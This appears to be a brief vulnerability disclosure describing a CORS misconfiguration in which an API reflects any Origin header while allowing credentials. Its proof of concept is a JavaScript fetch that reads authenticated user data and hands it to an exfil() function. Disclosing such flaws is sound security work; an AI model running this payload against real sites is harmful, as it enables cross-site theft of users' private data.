CORS Misconfiguration Allows Credential Theft

Summary

The API reflected any Origin header with Access-Control-Allow-Credentials: true.

Proof of Concept

fetch('https://api.target.com/user/data', {
  credentials: 'include'
}).then(r => r.json()).then(d => exfil(d));

Impact

Cross-site theft of authenticated user data.